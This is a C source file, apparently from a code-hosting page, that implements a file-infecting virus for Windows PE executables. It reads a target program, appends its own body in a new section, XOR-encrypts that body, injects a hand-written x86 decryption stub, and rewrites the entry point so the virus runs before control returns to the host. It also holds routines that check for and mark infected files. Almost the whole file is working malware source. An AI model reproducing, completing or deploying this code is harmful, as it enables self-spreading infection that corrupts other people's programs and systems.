364 lines
12 KiB
C
364 lines
12 KiB
C
#include "virus.h"
|
|
|
|
static void *virus_encrypt(void *image, void *vir,
|
|
uint32_t virSz, char *key);
|
|
static void *virus_add_dec_stub(void *image, uint32_t rvaData,
|
|
uint32_t dataSz, uint32_t rvaKey,
|
|
uint32_t rvaEntry);
|
|
void virus_get_pointers(virus_pointers *vptrs) {
|
|
vptrs->virusStart = start(); //aaa.c
|
|
vptrs->virusEnd = end(); //zzz.c
|
|
vptrs->virusSz = (vptrs->virusEnd - vptrs->virusStart);
|
|
vptrs->virusEntry = virus_loader();
|
|
vptrs->virusBase = get_peb_data(1);
|
|
|
|
return;
|
|
}
|
|
|
|
void *virus_encrypt(void *image, void *vir,
|
|
uint32_t virSz, char *key)
|
|
{
|
|
int virCnt, keyCnt = 0;
|
|
char *secName;
|
|
void *writePtr;
|
|
|
|
for (virCnt = 0; virCnt < virSz; virCnt++) {
|
|
((char*)vir)[virCnt] ^= ((char*)key)[keyCnt];
|
|
keyCnt++;
|
|
if (((char*)key)[keyCnt] == '\x00') keyCnt = 0;
|
|
}
|
|
for (int i = 0; i < 16; i++) {
|
|
secName = sections_by_index_get_name(image, i);
|
|
if (NULL == secName) return NULL; //we found no exe section
|
|
if (1 == sections_by_name_is_readable(image, secName)) {
|
|
writePtr = sections_by_name_enlarge(image, secName,
|
|
key, (pic_strlen(key)+1));
|
|
if (NULL != writePtr) return writePtr;
|
|
}
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
void *virus_add_dec_stub(void *image, uint32_t rvaData,
|
|
uint32_t dataSz, uint32_t rvaKey,
|
|
uint32_t rvaEntry)
|
|
{
|
|
uint32_t checkCnt;
|
|
uint32_t *writePtr;
|
|
char *secName;
|
|
char stub[77];
|
|
stub[0] = '\xbe'; stub[1] = '\x55'; stub[2] = '\x55'; stub[3] = '\x55';
|
|
stub[4] = '\x55'; stub[5] = '\xbb'; stub[6] = '\x66'; stub[7] = '\x66';
|
|
stub[8] = '\x66'; stub[9] = '\x66'; stub[10] = '\xb9'; stub[11] = '\x0';
|
|
stub[12] = '\x0'; stub[13] = '\x0'; stub[14] = '\x0'; stub[15] = '\xbf';
|
|
stub[16] = '\x77'; stub[17] = '\x77'; stub[18] = '\x77'; stub[19] = '\x77';
|
|
stub[20] = '\xba'; stub[21] = '\x0'; stub[22] = '\x0'; stub[23] = '\x0';
|
|
stub[24] = '\x0'; stub[25] = '\x64'; stub[26] = '\xa1'; stub[27] = '\x30';
|
|
stub[28] = '\x0'; stub[29] = '\x0'; stub[30] = '\x0'; stub[31] = '\x8b';
|
|
stub[32] = '\x40'; stub[33] = '\x8'; stub[34] = '\x1'; stub[35] = '\xc6';
|
|
stub[36] = '\x1'; stub[37] = '\xc7'; stub[38] = '\x50'; stub[39] = '\x39';
|
|
stub[40] = '\xd9'; stub[41] = '\x74'; stub[42] = '\x18'; stub[43] = '\x8a';
|
|
stub[44] = '\x4'; stub[45] = '\xe'; stub[46] = '\x32'; stub[47] = '\x4';
|
|
stub[48] = '\x17'; stub[49] = '\x88'; stub[50] = '\x4'; stub[51] = '\xe';
|
|
stub[52] = '\x41'; stub[53] = '\x42'; stub[54] = '\x8a'; stub[55] = '\x4';
|
|
stub[56] = '\x17'; stub[57] = '\x3c'; stub[58] = '\x0'; stub[59] = '\x74';
|
|
stub[60] = '\x2'; stub[61] = '\xeb'; stub[62] = '\xe8'; stub[63] = '\x31';
|
|
stub[64] = '\xd2'; stub[65] = '\xeb'; stub[66] = '\xe4'; stub[67] = '\xb9';
|
|
stub[68] = '\x99'; stub[69] = '\x99'; stub[70] = '\x99'; stub[71] = '\x99';
|
|
stub[72] = '\x58'; stub[73] = '\x1'; stub[74] = '\xc8'; stub[75] = '\xff';
|
|
stub[76] = '\xe0';
|
|
|
|
checkCnt = 0;
|
|
for (int i = 0; i < STUB_LEN; i++) {
|
|
writePtr = (uint32_t*)&((char*)stub)[i];
|
|
if ((*writePtr) == 0x55555555) {
|
|
(*writePtr) = rvaData;
|
|
checkCnt++;
|
|
}
|
|
if ((*writePtr) == 0x66666666) {
|
|
(*writePtr) = dataSz;
|
|
checkCnt++;
|
|
}
|
|
if ((*writePtr) == 0x77777777) {
|
|
(*writePtr) = rvaKey;
|
|
checkCnt++;
|
|
}
|
|
if ((*writePtr) == 0x99999999) {
|
|
(*writePtr) = rvaEntry;
|
|
checkCnt++;
|
|
}
|
|
}
|
|
//of cause this is useless untill we have changing stubs...
|
|
if (checkCnt != 0x04) return NULL;
|
|
|
|
for (int i = 0; i < 16; i++) {
|
|
secName = sections_by_index_get_name(image, i);
|
|
if (NULL == secName) return NULL; //we found no exe section
|
|
if (1 == sections_by_name_is_executable(image, secName)) {
|
|
writePtr = sections_by_name_enlarge(image, secName,
|
|
stub, STUB_LEN);
|
|
if (NULL != writePtr) return writePtr;
|
|
}
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
int virus_check_for_section(char *file, char *secName) {
|
|
char *nPtr;
|
|
int i = 0;
|
|
while (nPtr = sections_by_index_get_sh(file, i)) {
|
|
if (pic_strncmp(secName, nPtr, 8) == 0) {
|
|
return 1;
|
|
}
|
|
i++;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
int virus_check_for_infection(char *file) {
|
|
char *sName;
|
|
int i = 0;
|
|
|
|
while (sName = sections_by_index_get_name(file, i)) {
|
|
if (sections_by_name_is_writable(file, sName)
|
|
&& sections_by_name_is_executable(file, sName)) {
|
|
return 1;
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
//This function needs to be improved a bit but it should work for now.
|
|
//One important thing is checking for reading and writing permissions
|
|
//before infection.
|
|
int virus_infect(char *path, char *secName, uint32_t secFlags) {
|
|
file_data fdat, nfdat;
|
|
virus_pointers vptrs;
|
|
void *oldRvaPhldr, *newSec, *epRva;
|
|
hdrs peNewHdrs, peOldHdrs;
|
|
uint32_t oldEpRva, oldEpPhldr = 0x44444444;
|
|
IMAGE_SECTION_HEADER *sh;
|
|
char key[3], *keyPtr;
|
|
int i;
|
|
|
|
key[0] = 'a';
|
|
key[1] = 'b';
|
|
key[2] = '\x00';
|
|
|
|
virus_get_pointers(&vptrs);
|
|
|
|
if (NULL == pic_read_file_bin(path, &fdat)) return -1;
|
|
if (virus_check_for_section(fdat.data, secName)) {
|
|
pic_free(fdat.data);
|
|
return -1;
|
|
}
|
|
if (virus_check_for_infection(fdat.data)) {
|
|
pic_free(fdat.data);
|
|
return -1;
|
|
}
|
|
nfdat.fileSz = sections_get_sizeof_image_after_add_section(fdat.data,
|
|
fdat.fileSz,
|
|
vptrs.virusSz);
|
|
nfdat.data = pic_malloc(nfdat.fileSz);
|
|
newSec = sections_add_section(fdat.data, fdat.fileSz,
|
|
nfdat.data, nfdat.fileSz,
|
|
secName, vptrs.virusSz);
|
|
pic_memcpy(newSec, vptrs.virusStart, vptrs.virusSz);
|
|
sections_by_name_set_characteristics(nfdat.data, secName, secFlags);
|
|
|
|
/* since vptrs->virusEntry points on the currently running exe
|
|
we need to calculate the entry point of the new executable */
|
|
epRva = vptrs.virusEntry;
|
|
epRva -= vptrs.virusStart;
|
|
|
|
//epRva is now just the offset from the section start
|
|
hdrs_init(&peNewHdrs, nfdat.data);
|
|
|
|
//FIXME: just until the 64bit version is ready
|
|
if (peNewHdrs.type == 64) {
|
|
pic_free(nfdat.data);
|
|
pic_free(fdat.data);
|
|
return -1;
|
|
}
|
|
sh = sections_by_name_get_sh(nfdat.data, secName);
|
|
epRva += sh->VirtualAddress;
|
|
//we will use oldEPRva later.
|
|
oldEpRva = hdrs_get_address_of_entry_point(&peNewHdrs);
|
|
hdrs_set_address_of_entry_point(&peNewHdrs,
|
|
(uint32_t)epRva);
|
|
hdrs_destroy(&peNewHdrs);
|
|
pic_free(fdat.data);
|
|
/* In the below snippet we hope there is no other 44444444
|
|
byte series in the scanned bytes. If that would be the case
|
|
the code might brake the new executable. */
|
|
uint8_t byteBeforeSig = 0x00;
|
|
i = 0;
|
|
do {
|
|
oldRvaPhldr = pic_memmem(newSec, vptrs.virusSz,
|
|
&oldEpPhldr, sizeof (uint32_t));
|
|
if (NULL != oldRvaPhldr) {
|
|
pic_memcpy(oldRvaPhldr, &oldEpRva, sizeof (uint32_t));
|
|
i++;
|
|
}
|
|
} while (NULL != oldRvaPhldr);
|
|
if (2 != i) {
|
|
//something went wrong with the 44444444 searching stuff
|
|
pic_free(nfdat.data);
|
|
return -1;
|
|
}
|
|
|
|
hdrs_init(&peNewHdrs, nfdat.data);
|
|
keyPtr = virus_encrypt(nfdat.data, newSec, vptrs.virusSz, key);
|
|
keyPtr = virus_add_dec_stub(nfdat.data, ptr_to_rva(nfdat.data, newSec),
|
|
vptrs.virusSz,
|
|
ptr_to_rva(nfdat.data, keyPtr),
|
|
hdrs_get_address_of_entry_point(&peNewHdrs));
|
|
virus_sign_infected(nfdat.data, STUB_LEN);
|
|
hdrs_set_address_of_entry_point(&peNewHdrs, ptr_to_rva(nfdat.data,
|
|
keyPtr));
|
|
|
|
|
|
hdrs_destroy(&peNewHdrs);
|
|
if (NULL == pic_write_file_bin(path, &nfdat)) {
|
|
pic_free(nfdat.data);
|
|
return -1;
|
|
}
|
|
pic_free(nfdat.data);
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
/* This function checks its return address whether it
|
|
is whithin the section of the virus or not.
|
|
If it is called by the virus it will return its start address
|
|
if not it will call the main function. */
|
|
void *virus_loader() {
|
|
void *retAddr;
|
|
void *ownAddr;
|
|
int64_t offset;
|
|
|
|
__asm__("call nextIns;\r\n"
|
|
"nextIns:\r\n"
|
|
"pop %0;\r\n"
|
|
: "=r" (ownAddr)
|
|
:
|
|
:);
|
|
ownAddr -= 0x0b;
|
|
|
|
#ifdef __amd64__
|
|
__asm__(".intel_syntax;\r\n"
|
|
"mov %0, [rbp+0x08];\r\n" //return address;
|
|
".att_syntax;\r\n"
|
|
: "=r" (retAddr)
|
|
:
|
|
:);
|
|
#else
|
|
__asm__(".intel_syntax;\r\n"
|
|
"mov %0, [ebp+0x04];\r\n" //return address;
|
|
".att_syntax;\r\n"
|
|
: "=r" (retAddr)
|
|
:
|
|
:);
|
|
#endif
|
|
|
|
offset = (int64_t)(ownAddr - retAddr); //this is very hacky since
|
|
//the function will not work
|
|
//if it's called from a function
|
|
//which lies behind this one
|
|
if (offset < 0x1000 && offset > 0) return ownAddr;
|
|
main();
|
|
#ifdef __amd64__
|
|
__asm__(".intel_syntax;\r\n"
|
|
"mov rax, %0\r\n"
|
|
"add eax, 0x44444444\r\n"
|
|
"jmp rax\r\n"
|
|
".att_syntax\r\n"
|
|
:
|
|
:"r"(get_peb_data(1))
|
|
:);
|
|
#else
|
|
__asm__(".intel_syntax;\r\n"
|
|
"mov eax, %0\r\n"
|
|
"add eax, 0x44444444\r\n"
|
|
"jmp eax\r\n"
|
|
".att_syntax\r\n"
|
|
:
|
|
:"r"(get_peb_data(1))
|
|
:);
|
|
#endif
|
|
return NULL;
|
|
}
|
|
|
|
/* returns:
|
|
* -1 : error
|
|
* 1-100 : likelyhood of infection
|
|
*/
|
|
int virus_check_infected(infect_info *ii, char *path, uint32_t stubSz) {
|
|
file_data fdat;
|
|
hdrs h;
|
|
virus_pointers vptrs;
|
|
IMAGE_SECTION_HEADER *sh;
|
|
uint32_t numSecs;
|
|
void *of;
|
|
|
|
virus_get_pointers(&vptrs);
|
|
if (NULL == pic_read_file_bin(path, &fdat)
|
|
|| NULL == (of = pic_open_file(path, 0x02 /*READWRITE*/))) {
|
|
pic_memset(ii, 0, sizeof (infect_info));
|
|
return -1;
|
|
}
|
|
pic_close_handle(of);
|
|
|
|
if (-1 == hdrs_init(&h, fdat.data)) return -1;
|
|
numSecs = hdrs_get_number_of_sections(&h);
|
|
if (16 < numSecs) return -1;
|
|
ii->numSecs = numSecs;
|
|
ii->infLike = 1;
|
|
for (int i = 0; i < numSecs; i++) {
|
|
sh = sections_by_index_get_sh(fdat.data, i);
|
|
ii->secs[i].freeSpace = sh->SizeOfRawData;
|
|
ii->secs[i].freeSpace -= sh->Misc.VirtualSize;
|
|
pic_memcpy(ii->secs[i].name, sh->Name, 8);
|
|
ii->secs[i].exe = sections_by_name_is_executable(fdat.data,
|
|
sh->Name);
|
|
ii->secs[i].read = sections_by_name_is_readable(fdat.data,
|
|
sh->Name);
|
|
ii->secs[i].write = sections_by_name_is_writable(fdat.data,
|
|
sh->Name);
|
|
if (ii->secs[i].exe && (ii->secs[i].freeSpace > stubSz))
|
|
ii->infLike = 0;
|
|
}
|
|
return ii->infLike;
|
|
}
|
|
|
|
//checks if a binary (scanned with check_infected) has a section with
|
|
//the given name (1 = it has; 0 = it hasn't)
|
|
int virus_check_for_name_in_sections(infect_info *ii, char *name) {
|
|
section *secCur;
|
|
|
|
secCur = ii->secs;
|
|
for (int i = 0; i < ii->numSecs; i++) {
|
|
if (!pic_strncmp(secCur[i].name, name, 8)) return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
void virus_sign_infected(char *img, uint32_t stubSz) {
|
|
uint32_t numSecs;
|
|
hdrs h;
|
|
IMAGE_SECTION_HEADER *sh;
|
|
|
|
hdrs_init(&h, img);
|
|
numSecs = hdrs_get_number_of_sections(&h);
|
|
hdrs_destroy(&h);
|
|
for (int i = 0; i < numSecs; i++) {
|
|
sh = sections_by_index_get_sh(img, i);
|
|
if (sh->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
|
while (stubSz <= (sh->SizeOfRawData - sh->Misc.VirtualSize))
|
|
sh->Misc.VirtualSize += stubSz;
|
|
}
|
|
}
|
|
}
|
|
|